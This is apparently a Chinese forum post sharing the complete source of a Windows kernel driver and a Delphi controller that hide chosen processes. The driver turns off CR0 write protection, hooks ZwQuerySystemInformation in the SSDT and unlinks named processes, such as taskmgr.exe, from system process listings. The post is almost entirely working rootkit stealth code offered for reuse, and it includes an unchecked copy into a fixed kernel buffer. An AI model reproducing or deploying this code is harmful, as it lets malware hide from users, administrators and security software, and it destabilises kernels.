通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不过他的文章里面,进程名字是直接写死的,不能通过三层进行传递,而且得到ZwQuerySystemInformation是通过汇编的方法,这样在其他系统上可能会有问题,所以我做了一些改善如下:
1 通过应用程序将进程名字传递进来,可以传递多个进程名字,格式为:qq.exe;taskmgr.exe;
2 通用的方法来得到ZwQuerySystemInformation的地址,不过这个方法都是从rookit上得来的。
很简单的完善了。如果没有接触过驱动的同学估计有点帮助(其实很不好意思拿上来。。)
驱动代码如下:
整个工程的代码如下: 进程隐藏.rar代码:///////////////////////////IoControl.h/////////////////////////////
#ifndef ___HIDE_PROCESS_IO_CONTROL___
#define ___HIDE_PROCESS_IO_CONTROL___
#define HIDE_PROCESS_WIN32_DEV_NAME L"\\Device\\HideProcess"
#define HIDE_PROCESS_DEV_NAME L"\\DosDevices\\HideProcess"
#define FILE_DEVICE_HIDE_PROCESS 0x00008811
#define IO_REFERENCE_EVENT (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS)
#define IO_DEREFERENCE_EVENT (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define IO_PASSBUF (ULONG) CTL_CODE(FILE_DEVICE_HIDE_PROCESS, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS)
/*
#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long
#define BYTE unsigned char
*/
/************************************************************************
* *
* Struct Define *
* *
************************************************************************/
typedef struct _Event_Struct{
int eventType;
char pname[255];
char pid[255];
}Event_Struct, *PEvent_Struct;
typedef struct _SECTION_IMAGE_INFORMATION {
PVOID EntryPoint;
ULONG StackZeroBits;
ULONG StackReserved;
ULONG StackCommit;
ULONG ImageSubsystem;
WORD SubsystemVersionLow;
WORD SubsystemVersionHigh;
ULONG Unknown1;
ULONG ImageCharacteristics;
ULONG ImageMachineType;
ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase; //指向系统服务程序的地址(SSDT)
unsigned int *ServiceCounterTableBase; //指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL
unsigned int NumberOfServices; //表示当前系统所支持的服务个数
unsigned char *ParamTableBase; //指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元
} ServiceDescriptorTableEntry , *PServiceDescriptorTableEntry ;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一个进程信息的偏移量,如果为0表示无一个进程信息
ULONG ThreadCount; //线程数
ULONG Reserved[6];
LARGE_INTEGER CreateTime; //创建进程的时间
LARGE_INTEGER UserTime; //进程中所有线程在用户模式运行时间的总和
LARGE_INTEGER KernelTime; //进程中所有线程在内核模式运行时间的总和
UNICODE_STRING ProcessName; //进程的名字
KPRIORITY BasePriority; //线程的缺省优先级
ULONG ProcessId; //进程ID号
ULONG InheritedFromProcessId; //继承语柄的进程ID号
ULONG HandleCount; //进程打开的语柄数量
ULONG Reserved2[2];
VM_COUNTERS VmCounters; //虚拟内存的使用情况统计
IO_COUNTERS IoCounters; //IO操作的统计,Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组
};
#endif
//////////////////////HideProcess.c///////////////////////////////
#include <ntddk.h>
#include "ntiologc.h"
#include "ntimage.h"
#include <windef.h>
#include <stdio.h>
#include <string.h>
#include "IoControl.h"
VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject);
NTSTATUS HideProcess_Create(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS HideProcess_Close(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS HideProcess_IoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
///////////////声明Native API///////////////////////////////////////
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass, //查询系统服务类型
IN PVOID SystemInformation, //接收系统信息缓冲区
IN ULONG SystemInformationLength, //接收信息缓冲区大小
OUT PULONG ReturnLength); //实际接收到的大小
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
NTSTATUS MyZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
////////////////////定义所用到的全局变量///////////////
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
unsigned long OldCr0;
UNICODE_STRING DeviceNameString;
UNICODE_STRING LinkDeviceNameString;
ZWQUERYSYSTEMINFORMATION g_OriginalZwQuerySystemInformation;
int position;
PVOID gpEventObject = NULL; //事件句柄
CCHAR outBuf[1024]; //输入缓冲区大小
#define SEC_IMAGE 0x01000000
DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName)
{
HANDLE hThread, hSection, hFile, hMod;
SECTION_IMAGE_INFORMATION sii;
IMAGE_DOS_HEADER* dosheader;
IMAGE_OPTIONAL_HEADER* opthdr;
IMAGE_EXPORT_DIRECTORY* pExportTable;
DWORD* arrayOfFunctionAddresses;
DWORD* arrayOfFunctionNames;
WORD* arrayOfFunctionOrdinals;
DWORD functionOrdinal;
DWORD Base, x, functionAddress;
char* functionName;
STRING ntFunctionName, ntFunctionNameSearch;
PVOID BaseAddress = NULL;
SIZE_T size=0;
OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};
IO_STATUS_BLOCK iosb;
//_asm int 3;
ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);
ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);
ZwClose(hFile);
hMod = BaseAddress;
dosheader = (IMAGE_DOS_HEADER *)hMod;
opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);
arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);
arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);
arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);
Base = pExportTable->Base;
RtlInitString(&ntFunctionNameSearch, lpFunctionName);
for(x = 0; x < pExportTable->NumberOfFunctions; x++)
{
functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);
RtlInitString(&ntFunctionName, functionName);
functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0)
{
ZwClose(hSection);
return functionAddress;
}
}
ZwClose(hSection);
return 0;
}
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status;
PDEVICE_OBJECT deviceObject;
UNICODE_STRING dllName;
DWORD functionAddress;
RtlInitUnicodeString( &DeviceNameString, HIDE_PROCESS_WIN32_DEV_NAME );
RtlInitUnicodeString( &LinkDeviceNameString,HIDE_PROCESS_DEV_NAME );
KdPrint(("DriverEntry Enter............................\n"));
status = IoCreateDevice(
DriverObject,
0,
&DeviceNameString,
FILE_DEVICE_DISK_FILE_SYSTEM,
FILE_DEVICE_SECURE_OPEN,
FALSE,
& deviceObject );
if (!NT_SUCCESS( status ))
{
KdPrint(( "DriverEntry: Error creating control device object, status=%08x\n", status ));
return status;
}
status = IoCreateSymbolicLink(
(PUNICODE_STRING) &LinkDeviceNameString,
(PUNICODE_STRING) &DeviceNameString
);
if (!NT_SUCCESS(status))
{
IoDeleteDevice(deviceObject);
return status;
}
DriverObject->MajorFunction[IRP_MJ_CREATE] = HideProcess_Create;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = HideProcess_Close;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HideProcess_IoControl;
DriverObject->DriverUnload=UnloadDriver;
//////////////////////Hook ZwQuerySystemInformation/////////////////////////////////////////////////
RtlInitUnicodeString(&dllName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll");
functionAddress = GetDllFunctionAddress("ZwQuerySystemInformation", &dllName);
position = *((WORD*)(functionAddress+1));
g_OriginalZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]);
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
(ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]) = MyZwQuerySystemInformation;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
KdPrint(("Hook ZwQuerySystemInformation'status is Succeessfully "));
return status ;
}
NTSTATUS HideProcess_Create(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
DbgPrint("HideProcess_Create\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}
NTSTATUS HideProcess_Close(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
DbgPrint("HideProcess_Close\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}
NTSTATUS HideProcess_IoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG controlCode;
PIO_STACK_LOCATION irpStack;
HANDLE hEvent;
OBJECT_HANDLE_INFORMATION objHandleInfo;
ULONG outputLength, inputLength;
PVOID inputBuffer;
irpStack = IoGetCurrentIrpStackLocation(Irp);
outputLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
inputLength=irpStack->Parameters.DeviceIoControl.InputBufferLength;
controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(controlCode)
{
case IO_REFERENCE_EVENT: //获取事件的句柄
hEvent = (HANDLE) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
status = ObReferenceObjectByHandle(
hEvent,
GENERIC_ALL,
NULL,
KernelMode,
&gpEventObject,
&objHandleInfo);
if(status != STATUS_SUCCESS)
{
DbgPrint("ObReferenceObjectByHandle failed! status = %x\n", status);
break;
}
DbgPrint("IO_REFERENCE_EVENT\n");
break;
case IO_PASSBUF: //应用层传输数据到驱动
inputBuffer = (char*)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
RtlCopyMemory(&outBuf[0], inputBuffer, inputLength);
DbgPrint("IO_PassBuf:%s:%d", outBuf, strlen(outBuf));
break;
case IO_DEREFERENCE_EVENT:
if(gpEventObject)
{
ObDereferenceObject(gpEventObject);
gpEventObject = NULL;
}
DbgPrint("IO_DEREFERENCE_EVENT\n");
break;
default:
break;
}
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
VOID UnloadDriver(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING uniWin32NameString;
UNICODE_STRING LinkNameString;
PDEVICE_OBJECT deviceObject;
//////////////////////UnHook ZwQuerySystemInformation/////////////////////////////////////////////////
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
(ZWQUERYSYSTEMINFORMATION)(KeServiceDescriptorTable->ServiceTableBase[position]) = g_OriginalZwQuerySystemInformation;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
KdPrint(("UnHookZwQuerySystemInformation'status is Succeessfully................... "));
deviceObject= DriverObject->DeviceObject;
IoDeleteSymbolicLink(&LinkDeviceNameString);
ASSERT(!deviceObject->AttachedDevice);
if ( deviceObject != NULL )
{
IoDeleteDevice( deviceObject );
}
}
NTSTATUS MyZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
STRING ntNameString;
UNICODE_STRING process_name;
char *buf , *haystack;
char cpOutBuf[1024];
char *sep = ";";
strcpy(cpOutBuf, outBuf);
haystack = &cpOutBuf[0];
rc = (g_OriginalZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
{
struct _SYSTEM_PROCESSES *curr;
struct _SYSTEM_PROCESSES *prev;
buf = strstr(haystack, sep);
while(buf != NULL)
{
buf [0] = '\0';
DbgPrint("%s", haystack);
RtlInitAnsiString(&ntNameString, haystack);
RtlAnsiStringToUnicodeString(&process_name, &ntNameString, TRUE);
haystack = buf + strlen(sep);
buf = strstr(haystack, sep);
curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
prev = NULL;
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
{
DbgPrint("hide process name taskmgr.exe");
//找到要隐藏的进程
if(prev)
{
//要删除的信息在中间,则把指针指向下一个节点
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else
prev->NextEntryDelta = 0; //要删除的信息在末尾,则直接把指针指向0
}
else
{
if(curr->NextEntryDelta)
(char *)SystemInformation += curr->NextEntryDelta; //要删除的信息在开头
else
SystemInformation = NULL;
}
//如果链下一个还有其他的进程信息,指针往后移
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
//把当前指针设置成前一个指针,当前指针后移
prev = curr;
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
RtlFreeUnicodeString(&process_name);
}
}
}
return rc;
}
三层的代码如下:
/////////////////////delphi code///////////////////////////
procedure TForm1.btnHideClick(Sender: TObject);
var
dwReturn: DWORD;
proname:array [0..1023] of char;
begin
//创建设备
try
m_hCommDevice := CreateFile('\\.\HideProcess', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
except
MessageBox(Handle, '创建设备失败', '隐藏进程启动', MB_OK + MB_ICONWARNING);
end;
//创建事件
try
m_hCommEvent := CreateEvent(nil, false, false, nil);
except
CloseHandle(m_hCommDevice);
MessageBox(Handle, '创建事件失败', '隐藏进程启动', MB_OK + MB_ICONWARNING);
end;
//发送事件句柄给驱动
DeviceIoControl(m_hCommDevice, IO_REFERENCE_EVENT, pointer(m_hCommEvent), 0, nil, 0, dwReturn, nil);
StrPCopy(@proname, Trim(edtProcessName.Text));
DeviceIoControl(m_hCommDevice, IO_PASSBUF, @proname, sizeof(proname), nil, 0, dwReturn, nil);
end;